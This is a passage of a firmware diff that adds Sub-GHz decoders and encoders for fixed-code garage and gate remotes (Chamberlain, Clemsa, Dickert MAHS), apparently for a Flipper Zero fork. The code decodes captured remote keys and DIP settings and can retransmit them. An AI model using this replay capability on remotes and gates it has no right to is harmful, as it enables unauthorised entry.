+        instance->decoder.decode_data &= ~CHAMBERLAIN_9_CODE_MASK;
+        instance->decoder.decode_data >>= 4;
+    } else {
+        return false;
+    }
+    return subghz_protocol_chamb_code_to_bit(
+        &instance->decoder.decode_data, instance->decoder.decode_count_bit);
+}
+
+void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    switch(instance->decoder.parser_step) {
+    case Chamb_CodeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 39) <
+                        subghz_protocol_chamb_code_const.te_delta * 20)) {
+            //Found header Chamb_Code
+            instance->decoder.parser_step = Chamb_CodeDecoderStepFoundStartBit;
+        }
+        break;
+    case Chamb_CodeDecoderStepFoundStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
+                       subghz_protocol_chamb_code_const.te_delta)) {
+            //Found start bit Chamb_Code
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                            CHAMBERLAIN_CODE_BIT_STOP;
+            instance->decoder.decode_count_bit++;
+            instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    case Chamb_CodeDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration > subghz_protocol_chamb_code_const.te_short * 5) {
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+                    if(subghz_protocol_decoder_chamb_code_check_mask_and_parse(instance)) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    case Chamb_CodeDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF( //Found stop bit Chamb_Code
+                    instance->decoder.te_last,
+                    subghz_protocol_chamb_code_const.te_short * 3) <
+                subghz_protocol_chamb_code_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short) <
+                subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_STOP;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short * 2) <
+                 subghz_protocol_chamb_code_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 2) <
+                 subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_1;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_chamb_code_const.te_short) <
+                 subghz_protocol_chamb_code_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_chamb_code_const.te_short * 3) <
+                 subghz_protocol_chamb_code_const.te_delta)) {
+                instance->decoder.decode_data = instance->decoder.decode_data << 4 |
+                                                CHAMBERLAIN_CODE_BIT_0;
+                instance->decoder.decode_count_bit++;
+                instance->decoder.parser_step = Chamb_CodeDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+            }
+
+        } else {
+            instance->decoder.parser_step = Chamb_CodeDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit >
+           subghz_protocol_chamb_code_const.min_count_bit_for_found) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderChamb_Code* instance = context;
+
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%03lX\r\n"
+        "Yek:0x%03lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo);
+
+    switch(instance->generic.data_count_bit) {
+    case 7:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_7_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_7_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+    case 8:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_8_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_8_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+    case 9:
+        furi_string_cat_printf(
+            output,
+            "DIP:" CHAMBERLAIN_9_CODE_DIP_PATTERN "\r\n",
+            CHAMBERLAIN_9_CODE_DATA_TO_DIP(code_found_lo));
+        break;
+
+    default:
+        break;
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.h
new file mode 100644
index 000000000..c8ffed5c5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CHAMB_CODE_NAME "Cham_Code"
+
+typedef struct SubGhzProtocolDecoderChamb_Code SubGhzProtocolDecoderChamb_Code;
+typedef struct SubGhzProtocolEncoderChamb_Code SubGhzProtocolEncoderChamb_Code;
+
+extern const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder;
+extern const SubGhzProtocol subghz_protocol_chamb_code;
+
+/**
+ * Allocate SubGhzProtocolEncoderChamb_Code.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderChamb_Code* pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void subghz_protocol_encoder_chamb_code_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ */
+void subghz_protocol_encoder_chamb_code_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_chamb_code_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderChamb_Code.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderChamb_Code* pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void* subghz_protocol_decoder_chamb_code_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void subghz_protocol_decoder_chamb_code_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ */
+void subghz_protocol_decoder_chamb_code_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_chamb_code_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_chamb_code_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_chamb_code_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderChamb_Code.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderChamb_Code instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_chamb_code_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.c
new file mode 100644
index 000000000..27c2e26c5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.c
@@ -0,0 +1,362 @@
+#include "clemsa.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+// protocol BERNER / ELKA / TEDSEN / TELETASTER
+#define TAG "SubGhzProtocolClemsa"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'),     \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_clemsa_const = {
+    .te_short = 385,
+    .te_long = 2695,
+    .te_delta = 150,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderClemsa {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderClemsa {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    ClemsaDecoderStepReset = 0,
+    ClemsaDecoderStepSaveDuration,
+    ClemsaDecoderStepCheckDuration,
+} ClemsaDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder = {
+    .alloc = subghz_protocol_decoder_clemsa_alloc,
+    .free = subghz_protocol_decoder_clemsa_free,
+
+    .feed = subghz_protocol_decoder_clemsa_feed,
+    .reset = subghz_protocol_decoder_clemsa_reset,
+
+    .get_hash_data = subghz_protocol_decoder_clemsa_get_hash_data,
+    .serialize = subghz_protocol_decoder_clemsa_serialize,
+    .deserialize = subghz_protocol_decoder_clemsa_deserialize,
+    .get_string = subghz_protocol_decoder_clemsa_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder = {
+    .alloc = subghz_protocol_encoder_clemsa_alloc,
+    .free = subghz_protocol_encoder_clemsa_free,
+
+    .deserialize = subghz_protocol_encoder_clemsa_deserialize,
+    .stop = subghz_protocol_encoder_clemsa_stop,
+    .yield = subghz_protocol_encoder_clemsa_yield,
+};
+
+const SubGhzProtocol subghz_protocol_clemsa = {
+    .name = SUBGHZ_PROTOCOL_CLEMSA_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_clemsa_decoder,
+    .encoder = &subghz_protocol_clemsa_encoder,
+};
+
+void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderClemsa* instance = malloc(sizeof(SubGhzProtocolEncoderClemsa));
+
+    instance->base.protocol = &subghz_protocol_clemsa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_clemsa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderClemsa* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_clemsa_get_upload(SubGhzProtocolEncoderClemsa* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_clemsa_const.te_short +
+                subghz_protocol_clemsa_const.te_long * 7);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_clemsa_const.te_long +
+                subghz_protocol_clemsa_const.te_long * 7);
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderClemsa* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_clemsa_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_clemsa_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_clemsa_stop(void* context) {
+    SubGhzProtocolEncoderClemsa* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_clemsa_yield(void* context) {
+    SubGhzProtocolEncoderClemsa* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderClemsa* instance = malloc(sizeof(SubGhzProtocolDecoderClemsa));
+    instance->base.protocol = &subghz_protocol_clemsa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_clemsa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_clemsa_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    instance->decoder.parser_step = ClemsaDecoderStepReset;
+}
+
+void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case ClemsaDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
+                        subghz_protocol_clemsa_const.te_delta * 25)) {
+            instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        }
+        break;
+
+    case ClemsaDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = ClemsaDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = ClemsaDecoderStepReset;
+        }
+        break;
+
+    case ClemsaDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
+                subghz_protocol_clemsa_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_long) <
+                subghz_protocol_clemsa_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
+                 subghz_protocol_clemsa_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short) <
+                 subghz_protocol_clemsa_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
+                subghz_protocol_clemsa_const.te_delta * 25) {
+                if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
+                   subghz_protocol_clemsa_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
+                    subghz_protocol_clemsa_const.te_delta * 3) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else {
+                    instance->decoder.parser_step = ClemsaDecoderStepReset;
+                }
+
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_clemsa_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+
+            } else {
+                instance->decoder.parser_step = ClemsaDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ClemsaDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_clemsa_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = (instance->data >> 2) & 0xFFFF;
+    instance->btn = (instance->data & 0x03);
+}
+
+uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_clemsa_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderClemsa* instance = context;
+    subghz_protocol_clemsa_check_remote_controller(&instance->generic);
+    //uint32_t data = (uint32_t)(instance->generic.data & 0xFFFFFF);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%05lX   Btn:%X\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0x3FFFF),
+        instance->generic.btn,
+        SHOW_DIP_P(instance->generic.serial, DIP_P),
+        SHOW_DIP_P(instance->generic.serial, DIP_O),
+        SHOW_DIP_P(instance->generic.serial, DIP_N));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.h
new file mode 100644
index 000000000..f14cd3dac
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CLEMSA_NAME "Clemsa"
+
+typedef struct SubGhzProtocolDecoderClemsa SubGhzProtocolDecoderClemsa;
+typedef struct SubGhzProtocolEncoderClemsa SubGhzProtocolEncoderClemsa;
+
+extern const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder;
+extern const SubGhzProtocol subghz_protocol_clemsa;
+
+/**
+ * Allocate SubGhzProtocolEncoderClemsa.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderClemsa* pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderClemsa.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void subghz_protocol_encoder_clemsa_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ */
+void subghz_protocol_encoder_clemsa_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderClemsa instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_clemsa_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderClemsa.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderClemsa* pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void subghz_protocol_decoder_clemsa_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void subghz_protocol_decoder_clemsa_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.c
new file mode 100644
index 000000000..4d8ad3606
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.c
@@ -0,0 +1,386 @@
+#include "dickert_mahs.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi_hal_rtc.h>
+
+#define TAG "SubGhzProtocolDicketMAHS"
+
+static const SubGhzBlockConst subghz_protocol_dickert_mahs_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 100,
+    .min_count_bit_for_found = 36,
+};
+
+struct SubGhzProtocolDecoderDickertMAHS {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t tmp[2];
+    uint8_t tmp_cnt;
+};
+
+struct SubGhzProtocolEncoderDickertMAHS {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
